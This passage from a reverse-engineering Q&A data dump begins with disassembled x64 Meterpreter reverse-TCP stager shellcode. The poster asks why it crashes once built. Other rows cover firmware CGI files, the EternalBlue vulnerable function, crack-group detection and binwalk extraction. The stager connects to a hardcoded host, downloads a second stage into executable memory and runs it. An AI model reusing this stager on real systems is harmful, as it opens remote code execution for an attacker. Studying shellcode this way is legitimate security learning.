cx,[r8+rcx*2]&#xA;mov r8d,[rax+0x1c]&#xA;add r8,rdx&#xA;mov eax,[r8+rcx*4]&#xA;add rax,rdx&#xA;pop r8&#xA;pop r8&#xA;pop rsi&#xA;pop rcx&#xA;pop rdx&#xA;pop r8&#xA;pop r9&#xA;pop r10&#xA;sub rsp,byte +0x20&#xA;push r10&#xA;jmp rax&#xA;&#xA;&#xA;second_jmp:&#xA;&#xA;pop rax&#xA;&#xA;&#xA;first_jmp:  &#xA;&#xA;pop r9&#xA;pop rdx&#xA;mov rdx,[rdx]&#xA;jmp dword fifth_jmp ;0x21&#xA;&#xA;&#xA;first_call:&#xA;&#xA;pop rbp                         &#xA;mov r14,0x32335f327377          &#xA;push r14                        &#xA;mov r14,rsp                     &#xA;sub rsp,0x1a0                   &#xA;mov r13,rsp                     &#xA;mov r12,0x6900a8c05c110002      &#xA;push r12                        &#xA;mov r12,rsp                     &#xA;mov rcx,r14                     &#xA;mov r10d,0x726774c              &#xA;call rbp                        &#xA;&#xA;&#xA;mov rdx,r13&#xA;push dword 0x101&#xA;pop rcx&#xA;mov r10d,0x6b8029&#xA;call rbp&#xA;&#xA;&#xA;push byte +0x5&#xA;pop r14&#xA;&#xA;&#xA;ninth_jmp:&#xA;&#xA;push rax&#xA;push rax&#xA;xor r9,r9&#xA;xor r8,r8&#xA;inc rax&#xA;mov rdx,rax&#xA;inc rax&#xA;mov rcx,rax&#xA;mov r10d,0xe0df0fea&#xA;call rbp&#xA;&#xA;&#xA;mov rdi,rax&#xA;&#xA;sixth_jmp:  &#xA;&#xA;push byte +0x10&#xA;pop r8&#xA;mov rdx,r12&#xA;mov rcx,rdi&#xA;mov r10d,0x6174a599&#xA;call rbp&#xA;&#xA;&#xA;test eax,eax&#xA;jz 0x15e&#xA;dec r14&#xA;jnz sixth_jmp ;0x13e&#xA;&#xA;&#xA;call second_call ;dword 0x1f1&#xA;&#xA;&#xA;sub rsp,byte +0x10&#xA;mov rdx,rsp&#xA;xor r9,r9&#xA;push byte +0x4&#xA;pop r8&#xA;mov rcx,rdi&#xA;mov r10d,0x5fc8d902&#xA;call rbp&#xA;&#xA;&#xA;cmp eax,byte +0x0&#xA;jng seventh_jmp ;0x1d1&#xA;&#xA;&#xA;add rsp,byte +0x20&#xA;pop rsi&#xA;mov esi,esi&#xA;push byte +0x40&#xA;pop r9&#xA;push dword 0x1000&#xA;pop r8&#xA;mov rdx,rsi&#xA;xor rcx,rcx&#xA;mov r10d,0xe553a458&#xA;call rbp&#xA;&#xA;&#xA;mov rbx,rax&#xA;mov r15,rax&#xA;&#xA;&#xA;tenth_jmp:&#xA;&#xA;xor r9,r9&#xA;mov r8,rsi&#xA;mov rdx,rbx&#xA;mov rcx,rdi&#xA;mov r10d,0x5fc8d902&#xA;call rbp&#xA;&#xA;&#xA;cmp eax,byte +0x0&#xA;jnl eighth_jmp ;0x1e3&#xA;&#xA;&#xA;pop rax&#xA;push r15&#xA;pop rcx&#xA;push dword 0x4000&#xA;pop r8&#xA;push byte +0x0&#xA;pop rdx&#xA;mov r10d,0x300f2f0b&#xA;call rbp&#xA;&#xA;&#xA;seventh_jmp:&#xA;&#xA;push rdi&#xA;pop rcx&#xA;mov r10d,0x614d6e75&#xA;call rbp&#xA;&#xA;&#xA;dec r14&#xA;jmp ninth_jmp ;0x11f&#xA;&#xA;&#xA;eighth_jmp:&#xA;&#xA;add rbx,rax&#xA;sub rsi,rax&#xA;test rsi,rsi&#xA;jnz tenth_jmp ;0x1a2&#xA;jmp r15&#xA;&#xA;&#xA;second_call:&#xA;&#xA;pop rax&#xA;push byte +0x0&#xA;pop rcx&#xA;mov r10,0x56a2b5f0&#xA;call rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before making any changes to the ndisasm output (apart from modifying the call and jmp destinations from relative addresses to labels, see code above), I compiled and linked the output using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe&#xA;  meterpreter_reverse_tcp.o&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I ran the .exe on my windows 10 machine, I got the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Meterpreter_reverse_tcp.exe has stopped working. A problem caused the&#xA;  program to stop working correctly. Windows will close the program and&#xA;  notify you if a solution is available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The output of the command 'file meterpreter_reverse_tcp.exe' is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;meterpreter_reverse_tcp.exe: PE32+ executable (console) x86-64&#xA;  (stripped to external PDB), for MS Windows&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, I know the obvious solution would be to debug the .exe on the Windows machine. I am presently learning how to use debbugers on Windows for programs compiled and linked on Linux. The goal here is to understand if an error occured during the process I described in my question.&lt;/p&gt;&#xA;" OwnerUserId="20226" LastEditorUserId="18014" LastEditDate="2017-05-20T17:37:38.997" LastActivityDate="2017-05-20T17:37:38.997" Title="X64 ASSEMBLY - Cannot run compiled and linked raw shellcode in Windows" Tags="|windows|assembly|linux|shellcode|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15363" PostTypeId="1" AcceptedAnswerId="18521" CreationDate="2017-05-17T19:42:36.450" Score="5" ViewCount="1974" Body="&lt;p&gt;I'm wondering if anyone can assist me. I'm reverse engineering netgear r6250 firmware just for practice. I've managed to unpack the firmware using binwalk and in the root directory exist the www directory. Looking at the html code I notice the forms references cgi files. However checking through the entire file system I can't seem to find any cgi files. I've read this blog article that mention that in some netgear router and I quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;apply.cgi is not really a script, but a function that is invoked in the HTTP server &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I believe the cgi files might be embedded in the http binary which is located in /usr/sbin in my unpacked firmware version. I don't know if this indeed so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me in the right direction so to know where I can find the cgi files or if they are indeed embedded in the httpd binary? Your assistance will without a doubt be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below show the screenshot using the find command to search for cgi files and server settings file from the root directory with no results:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/onvzJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/onvzJ.png&quot; alt=&quot;screenshot of searched cgi files and server setting files&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This below image shows the listing of files in the etc directory:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fMozw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMozw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you notice there are two symbolic links that are both dangling due to missing linked file. So this leads me to believe that the cgi files (and possibly other files) are created in memory upon boot. What makes it worse is using firmadyne to emulate the firmware doesn't work as I don't get a NIC device up and running with an IP, and I've already emulate another netgear firmware (albeit an old one) using firmadyne. In all defense to the creators of firmadyne they mention that if this occurs its a bug and to report it, which I haven't done as yet. Bottom line is I can't emulate the firmware to prove (or disprove) that maybe the files are created during run-time. Anyway I will keep on researching for now.&lt;/p&gt;&#xA;" OwnerUserId="18444" LastEditorUserId="245" LastEditDate="2018-06-12T18:52:06.300" LastActivityDate="2018-06-13T20:27:29.313" Title="Assistance finding CGI files" Tags="|firmware|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="15364" PostTypeId="2" ParentId="15363" CreationDate="2017-05-17T20:50:36.857" Score="-1" Body="&lt;p&gt;Check the web server's configuration files, if you haven't. Assuming it's a normal web server (like Apache or Nginx), everything you need will be in &lt;code&gt;httpd.conf&lt;/code&gt; / &lt;code&gt;nginx.conf&lt;/code&gt; or one of the files they load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to try grepping for it - &lt;code&gt;grep -ri filename.cgi filesystem/&lt;/code&gt;. That'll be slowwww, but you'll find anything that references that name.&lt;/p&gt;&#xA;" OwnerUserId="20230" LastEditorUserId="245" LastEditDate="2018-06-13T15:06:11.950" LastActivityDate="2018-06-13T15:06:11.950" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="15365" PostTypeId="2" ParentId="13516" CreationDate="2017-05-17T21:10:14.570" Score="1" Body="&lt;p&gt;I'm not sure if this will help, but, if you're ever unsure whether or not shellcode is trying to run, try setting your shellcode to either &quot;\xeb\xfe&quot; (jmp -2) or &quot;\xcc&quot; / &quot;\xcd\x03&quot; (both are int 0x03).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first case, the program will hang till it receives a signal (like, you kill it). In the latter cases, the program will die with a debug / tracepoint. That makes it really obvious whether or not it's working (it also works super well against remote servers, assuming an infinite loop will automatically get killed, to verify whether or not your code is actually running!)&lt;/p&gt;&#xA;" OwnerUserId="20230" LastActivityDate="2017-05-17T21:10:14.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15367" PostTypeId="2" ParentId="15359" CreationDate="2017-05-17T22:36:24.253" Score="0" Body="&lt;p&gt;There's really no standard way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that the code that references them isn't recognized as code, which would make it just a matter of defining it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that they're referenced indirectly, like to an array - is there a value somewhere before them that's referenced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that they're referenced indirectly in some way that IDA doesn't recognize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably won't work great for Android, but I've had luck using a break-on-read watchpoint on a string like that to find out where it's referenced from.&lt;/p&gt;&#xA;" OwnerUserId="20230" LastActivityDate="2017-05-17T22:36:24.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15368" PostTypeId="1" AcceptedAnswerId="15369" CreationDate="2017-05-18T09:11:52.323" Score="1" ViewCount="90" Body="&lt;p&gt;I have both a Mac and Windows version of the same library. However, while the Mac version has export symbols, the Windows version exports by ordinal. The Mac version uses the PPC architecture making it more difficult to reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to heuristically compare these subroutines and copy the export symbols from the Mac version to the Windows version so that I can view them within IDA Pro for the Windows version?&lt;/p&gt;&#xA;" OwnerUserId="20236" LastActivityDate="2017-05-18T09:18:30.267" Title="Copy Export Symbols From Mac to Windows PE" Tags="|ida|windows|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15369" PostTypeId="2" ParentId="15368" CreationDate="2017-05-18T09:18:30.267" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diaphora tool&lt;/a&gt; by Joxean Koret can match functions in binaries with different architectures using multiple algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also always do it manually: make one match using strings or magic numbers used, then follow cross-references to find more matches.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-18T09:18:30.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15371" PostTypeId="1" CreationDate="2017-05-18T23:46:49.010" Score="1" ViewCount="2928" Body="&lt;p&gt;I have been writing small C programs and then disassembling them to try to understand what is actually happening under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using mingw-w64 on Windows 7 for my work, and I have run into a question about why certain amounts of space are being allocated on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;program1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;  int i,j;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The start of the disassembled code for the main function is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004015b0 &amp;lt;main&amp;gt;:&#xA;  4015b0:   55                      push   %rbp&#xA;  4015b1:   48 89 e5                mov    %rsp,%rbp&#xA;  4015b4:   48 83 ec 20             sub    $0x20,%rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line looks like it is allocating 32 bytes on teh stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program 2:&#xA;The same program except it assigns values to the two variables and returns the sum of the variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;  int i,j;&#xA;  i = 5;&#xA;  j = 6;&#xA;  return i+j;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start of disassembled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004015b0 &amp;lt;main&amp;gt;:&#xA;  4015b0:   55                      push   %rbp&#xA;  4015b1:   48 89 e5                mov    %rsp,%rbp&#xA;  4015b4:   48 83 ec 30             sub    $0x30,%rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this program allocate 48 bytes instead of the 32 bytes from the first program?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases i and j are stored at %rbp-4 and %rbp-8 respectively, and the math done in the second program is all done in the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I am using gcc 6.3.0 to compile the code and objdump 2.28 to disassemble it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All code can be seen in my github repository&#xA;&lt;a href=&quot;http://github.com/draikes/rev-eng&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/draikes/rev-eng&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="18317" LastEditDate="2017-06-22T00:49:21.277" LastActivityDate="2017-06-22T15:26:27.853" Title="newbie trying to understand disassembled code" Tags="|windows|binary-analysis|objdump|gcc|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15372" PostTypeId="2" ParentId="15371" CreationDate="2017-05-18T23:57:41.330" Score="0" Body="&lt;p&gt;I figured it out.  It looks like the sub statement is allocating space for the entire program  rounded to the nearest qword.&#xA;Program 1 requires only 0x17 bytes 23 bytes of code while program 2 requires 0x28 or 40 bytes of space.&lt;/p&gt;&#xA;" OwnerUserId="8742" LastActivityDate="2017-05-18T23:57:41.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15373" PostTypeId="1" CreationDate="2017-05-19T00:19:34.510" Score="3" ViewCount="1579" Body="&lt;p&gt;The recent WannaCry ransomware attack exploited a vulnerability in older Windows SMB code. The presumably reverse-engineered function that has been cited &lt;a href=&quot;https://packetstormsecurity.com/files/142464/MS17-010-SMBv1-SrvOs2FeaToNt-OOB-Remote-Code-Execution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt; as vulnerable is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)&#xA;# {&#xA;#   int v4; // edi@1&#xA;#   _BYTE *v5; // edi@1&#xA;#   unsigned int result; // eax@1&#xA;#&#xA;#   v4 = a1 + 8;&#xA;#   *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;&#xA;#   *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);&#xA;#   *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);&#xA;#   _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));&#xA;#   v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);&#xA;#   *v5++ = 0;&#xA;#   _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD*)(a1 + 6));&#xA;#   result = (unsigned int)&amp;amp;v5[*(_WORD *)(a1 + 6) + 3] &amp;amp; 0xFFFFFFFC;&#xA;#   *(_DWORD *)a1 = result - a1;&#xA;#   return result;&#xA;# }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While it looks like this function copies data from one place to another and we're told the application fails to perform adequate boundary-checks on user-supplied input can someone explain in detail what this function is supposed to do line by line and where it is flawed?&lt;/p&gt;&#xA;" OwnerUserId="20245" LastEditorUserId="18317" LastEditDate="2017-05-19T00:35:07.393" LastActivityDate="2017-07-18T16:03:37.063" Title="explain the vulnerable code used by EternalBlue SMB attack" Tags="|windows|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15376" PostTypeId="1" AcceptedAnswerId="15381" CreationDate="2017-05-19T13:24:48.987" Score="-2" ViewCount="572" Body="&lt;p&gt;So I noticed that I can write something in PE from the executable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I write 1911 he tells me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[!]Cracked By RAZOR 1911&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I write something else it will not tell me anything. What is the reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What names or numbers are included?&lt;/p&gt;&#xA;" OwnerUserId="20250" LastActivityDate="2017-05-19T18:47:50.563" Title="Crack an executable in PE" Tags="|windows|pe|exe|" AnswerCount="1" CommentCount="1" ClosedDate="2017-05-23T06:48:24.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="15377" PostTypeId="2" ParentId="15373" CreationDate="2017-05-19T14:53:26.950" Score="1" Body="&lt;p&gt;Please check these links,might help....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a&lt;/a&gt;&#xA;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/26592431&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zhuanlan.zhihu.com/p/26592431&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20251" LastActivityDate="2017-05-19T14:53:26.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15378" PostTypeId="1" AcceptedAnswerId="15382" CreationDate="2017-05-19T16:17:12.673" Score="1" ViewCount="2668" Body="&lt;p&gt;I am trying to extract data from a proprietary file type: &lt;code&gt;.take&lt;/code&gt;.  I am unfamiliar with file compression and encoding, but it appears as if this file type is acting as some sort of wrapper for other files.  Refer to the following Google Drive &quot;preview&quot;.  I guess the file has some sort of MIME metadata so Drive can figure out it's contents, but I can't open it with any unzip programs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ImKAL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ImKAL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the looks of this, this file contains some very common file formats (XML, videos, pictures,  protobuf).  I need to extract these files, but cannot download them directly!  The only application I can open the file in is a text editor, and when I do the data is neatly organized in 32-bit chunks.  Possible &lt;a href=&quot;https://en.wikipedia.org/wiki/FourCC&quot; rel=&quot;nofollow noreferrer&quot;&gt;FourCC&lt;/a&gt; identification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FFeN0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFeN0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can obviously write a script to read this data in but I am unsure of even the encoding!  &lt;strong&gt;What suggestions or techniques might I employ to extract the files?&lt;/strong&gt; . Can I leverage the fact that I know the details of the compressed files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the file here: &lt;a href=&quot;http://www.filehosting.org/file/details/666710/QkDRIV0yPMo9llWF/file.take&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filehosting.org/file/details/666710/QkDRIV0yPMo9llWF/file.take&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20252" LastEditorUserId="20252" LastEditDate="2017-05-19T18:33:40.480" LastActivityDate="2017-05-23T18:23:10.557" Title="Strange File Format: How to unpack a set of compressed files?" Tags="|file-format|decompress|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15381" PostTypeId="2" ParentId="15376" CreationDate="2017-05-19T18:47:50.563" Score="0" Body="&lt;p&gt;You are using ProtectionID which scans the header for warez group names who like to include them in cracked executables. It doesn't recognize any string that's not a group name defined by the PID's author.&lt;/p&gt;&#xA;" OwnerUserId="20254" LastActivityDate="2017-05-19T18:47:50.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15382" PostTypeId="2" ParentId="15378" CreationDate="2017-05-19T19:04:38.423" Score="1" Body="&lt;p&gt;Fortunately, file extraction is trivial in this case. &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt; can be used to extract all of the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An entropy plot produced by &lt;code&gt;binwalk -E -J file.take&lt;/code&gt; reveals that some files within &lt;code&gt;file.take&lt;/code&gt; are not compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RwS4T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RwS4T.png&quot; alt=&quot;files in file.take revealed by entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A signature scan performed via &lt;code&gt;binwalk file.take&lt;/code&gt; reveals that &lt;code&gt;file.take&lt;/code&gt; contains multiple &lt;code&gt;Zip&lt;/code&gt; archives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 3171, uncompressed size: 3171, name: Bryan Potter - 2017 04 26 110613-balltrajectory.pbuf&#xA;3289          0xCD9           Zip archive data, at least v2.0 to extract, compressed size: 364, uncompressed size: 364, name: Bryan Potter - 2017 04 26 110613-clubtrajectory.pbuf&#xA;3771          0xEBB           Zip archive data, at least v2.0 to extract, compressed size: 428064, uncompressed size: 428064, name: Bryan Potter - 2017 04 26 110613-forceplate.pbuf&#xA;431949        0x6974D         Zip archive data, at least v2.0 to extract, compressed size: 8760940, uncompressed size: 8760940, name: Bryan Potter - 2017 04 26 110613-pressure.pbuf&#xA;9193001       0x8C4629        Zip archive data, at least v2.0 to extract, compressed size: 7138962, uncompressed size: 7138962, name: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.avi&#xA;16332095      0xF9353F        Zip archive data, at least v2.0 to extract, compressed size: 8412, uncompressed size: 8412, name: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.jpg&#xA;16340639      0xF9569F        Zip archive data, at least v2.0 to extract, compressed size: 13693928, uncompressed size: 13693928, name: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.avi&#xA;30034699      0x1CA4B0B       Zip archive data, at least v2.0 to extract, compressed size: 6096, uncompressed size: 6096, name: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.jpg&#xA;30040927      0x1CA635F       Zip archive data, at least v2.0 to extract, compressed size: 5483, uncompressed size: 5483, name: data.xml&#xA;30047692      0x1CA7DCC       End of Zip archive, footer length: 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Extraction performed via &lt;code&gt;binwalk -e file.take&lt;/code&gt; has the following results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;total 58792&#xA;drwxr-xr-x 2 user01 user01     4096 May 19 14:43 ./&#xA;drwxr-xr-x 3 user01 user01     4096 May 19 14:43 ../&#xA;-rw-r--r-- 1 user01 user01 30047714 May 19 14:43 0.zip&#xA;-rw-r--r-- 1 user01 user01     3171 May  3 07:24 Bryan Potter - 2017 04 26 110613-balltrajectory.pbuf&#xA;-rw-r--r-- 1 user01 user01      364 May  3 07:24 Bryan Potter - 2017 04 26 110613-clubtrajectory.pbuf&#xA;-rw-r--r-- 1 user01 user01   428064 Apr 26 11:06 Bryan Potter - 2017 04 26 110613-forceplate.pbuf&#xA;-rw-r--r-- 1 user01 user01  8760940 Apr 26 11:06 Bryan Potter - 2017 04 26 110613-pressure.pbuf&#xA;-rw-r--r-- 1 user01 user01  7138962 Apr 26 11:06 Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.avi&#xA;-rw-r--r-- 1 user01 user01     8412 Apr 26 11:06 Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.jpg&#xA;-rw-r--r-- 1 user01 user01 13693928 Apr 26 11:06 Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.avi&#xA;-rw-r--r-- 1 user01 user01     6096 Apr 26 11:06 Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.jpg&#xA;-rw-r--r-- 1 user01 user01     5483 May  3 07:24 data.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B3Z5J.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B3Z5J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YqF9c.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqF9c.jpg&quot; alt=&quot;extracted pic 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&#xA;&amp;lt;Take&amp;gt;&#xA;  &amp;lt;ExporterVersion&amp;gt;10&amp;lt;/ExporterVersion&amp;gt;&#xA;  &amp;lt;Id&amp;gt;1458&amp;lt;/Id&amp;gt;&#xA;  &amp;lt;Rating&amp;gt;Unrated&amp;lt;/Rating&amp;gt;&#xA;  &amp;lt;Date&amp;gt;636288015738944466&amp;lt;/Date&amp;gt;&#xA;  &amp;lt;Comment xsi:nil=&quot;true&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; /&amp;gt;&#xA;  &amp;lt;SportID&amp;gt;Golf&amp;lt;/SportID&amp;gt;&#xA;  &amp;lt;OnlineID&amp;gt;0&amp;lt;/OnlineID&amp;gt;&#xA;  &amp;lt;Club&amp;gt;&#xA;    &amp;lt;Type&amp;gt;Iron&amp;lt;/Type&amp;gt;&#xA;    &amp;lt;Name&amp;gt;8 Iron&amp;lt;/Name&amp;gt;&#xA;  &amp;lt;/Club&amp;gt;&#xA;  &amp;lt;Session&amp;gt;&#xA;    &amp;lt;Name xsi:nil=&quot;true&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; /&amp;gt;&#xA;    &amp;lt;DateTicks&amp;gt;636288009579666379&amp;lt;/DateTicks&amp;gt;&#xA;  &amp;lt;/Session&amp;gt;&#xA;  &amp;lt;StudentData&amp;gt;&#xA;    &amp;lt;Firstname&amp;gt;Bryan&amp;lt;/Firstname&amp;gt;&#xA;    &amp;lt;Lastname&amp;gt;Potter&amp;lt;/Lastname&amp;gt;&#xA;    &amp;lt;BirthYear xsi:nil=&quot;true&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; /&amp;gt;&#xA;    &amp;lt;Address xsi:nil=&quot;true&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; /&amp;gt;&#xA;&#xA;&amp;lt;- snip -&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;And so on and so forth...&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-05-19T19:04:38.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
